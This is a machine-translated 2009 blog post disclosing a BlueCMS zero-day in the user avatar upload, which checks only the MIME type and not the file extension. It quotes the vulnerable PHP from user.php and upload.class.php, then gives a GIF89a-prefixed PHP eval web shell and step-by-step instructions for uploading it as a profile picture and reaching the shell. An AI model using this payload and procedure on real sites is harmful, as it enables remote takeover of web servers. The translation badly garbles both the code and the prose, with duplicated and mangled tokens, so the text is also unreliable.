bluecms 0day-0day, bluecms, bluecms 0day, php, feltöltés, file-fej st0p 's blog

0day bluecms

Ez a bejegyzés október 7, 2009

: St0p
Szövege adja a forrást: http://www.st0p.org

Megjegyzés: Elnézést, a változat a haját reggel este hívják kettős az újság 1 0day, tájékoztatni, és csak megy a hivatalos nézett, és kiadott egy biztonsági javítást hamarosan ah .. mehetsz Online Nem frissített változatát teszt ...

Sajnos, a csoport egyik barátom készített egy CMS, mondta a felhasználói adatok módosítása bizonyos lehet beadni, mondta az elemzés, amely a helyben telepített után, nem egyszerű idézőjeleket is megszökött magic_quotes_gpc = off. . .

Lásd az include / common.inc.php vonal, feladjuk. .

  ......
  ! get_magic_quotes_gpc ( ) ) if (! get_magic_quotes_gpc ())
  {
 	 deep_addslashes ( $_POST ) ; = $ _POST Deep_addslashes ($ _POST);
 	 deep_addslashes ( $_GET ) ; $ _GET Deep_addslashes = ($ _GET);
 	 deep_addslashes ( $_COOKIES ) ; = $ _COOKIES Deep_addslashes ($ _COOKIES);
 	 deep_addslashes ( $_REQUEST ) ; $ _REQUEST Deep_addslashes = ($ _REQUEST);
  }
 ......

Talán st0p szerencse, lásd képeket feltölteni a részek elemzése kódot, amit talált user.php. .

  BLUE_ROOT . 'include/upload.class.php' ) ; //调用上传类 require_once (BLUE_ROOT. "include / upload.class.php ') / / hívja a feltöltési osztály
     new upload ( ) ; $ Image = new feltöltési ();
	  isset ( $_FILES [ 'face_pic' ] [ 'error' ] ) && $_FILES [ 'face_pic' ] [ 'error' ] == 0 ) { if (isset ($ _FILES ['face_pic'] ['error']) && $ _FILES ['face_pic'] ['error'] == 0) {
		 $image -> img_upload ( $_FILES [ 'face_pic' ] , 'face_pic' ) ; Face_pic $ = $ image -> img_upload ($ _FILES ['face_pic'], 'face_pic'); 
                          / / Nem érzékeli utótagot közvetlenül, az osztály képes lesz átadni SHELL
	 }

Nyissa meg az include / upload.class.php csak észleli a fájl fejlécében nem érzékeli az utótag

  ......
 osztályban a feltöltési {
	 = array ( 'image/jpg' , 'image/gif' , 'image/png' , 'image/pjpeg' ) ; Privát allow_image_type $ = array ("image / jpg ',' image / jpeg ',' image / jpeg ',' image / pjpeg ');
 ......
     $file , $dir = '' , $imgname = '' ) { img_upload funkció ($ file, $ dir ='', $ imgname ='') {
    	 empty ( $dir ) ) { if (empty ($ dir)) {
    		 BLUE_ROOT . DATA . UPLOAD . date ( "Ym" ) . "/" ; $ Dir = BLUE_ROOT. DATA. Töltsd. Date ("Ym"). "/";
    	 { Else {}
    		 BLUE_ROOT . DATA . UPLOAD . $dir . "/" ; $ Dir = BLUE_ROOT. DATA. Töltsd. $ Dir. "/";
    	 }

    	 ! file_exists ( $dir ) ) { if (! file_exists ($ dir)) {
    		 ! mkdir ( $dir ) ) { if (! mkdir ($ dir)) {
    			 ) ; showmsg (a feltöltés nem sikerült létrehozni ');
    		 }
    	 }
    	 empty ( $imgname ) ) { if (empty ($ imgname)) {
    		 $this -> create_tempname ( ) . $this -> get_type ( $file [ 'name' ] ) ; Imgname $ = $ this -> create_tempname (). $ This -> get_type ($ file ['name']);
    	 }
    	 $dir . $imgname ; Imgname $ = $ dir. $ Imgname;
    	 ! in_array ( $file [ 'type' ] , $this -> allow_image_type ) ) { if (! in_array ($ file ['type'], $ this -> allow_image_type)) {
              / / Csak hogy érzékelni a fájl fejlécében előre, akkor azt közvetlenül össze egy SHELL, mint
    		 ) ; showmsg ("nem teszi lehetővé a típusú kép ');
    	 }


     }

A fenti Mentés st0p.php

  Egy
 2

  GIF89a
 ( $_POST [ st0p ] ) ; ?> <? Php eval ($ _POST [st0p]);?>

Megjegyzés: A hálózati fiók bejelentkezési, tag -> profilom, majd töltse fel az új képet a választási hoztunk létre egy PHP fájlt, mutasson megerősíteni módosítani, nézze meg a cím sikeres, kattintson jobb gombbal a képre közvetlenül a sorban. . Szó SHELL feltöltése sikerült!

Elemzés befejezése, remélem, hogy több csereprogramot az a kérdés, ezek a dolgok csak azt, hogy megfeleljen néhány barátommal össze, hogy megvitassák a technológia létrehozott csoportot is, csak egy hétköznapi csoport, mindössze 100 fő, tisztítsák meg, soha nem beszélnek súlyosan terhelt B káosz T, depressziós, nyitott csoport cserélni, ne beszélj már placeholder helyén, szeretne haladást, zárkózott út nem megy!
Ha a csoport csak azért, hogy a viták eredményei a mások mások, nem tudom fizetni, vagy csak gyere búvárkodás, vagy anélkül. . .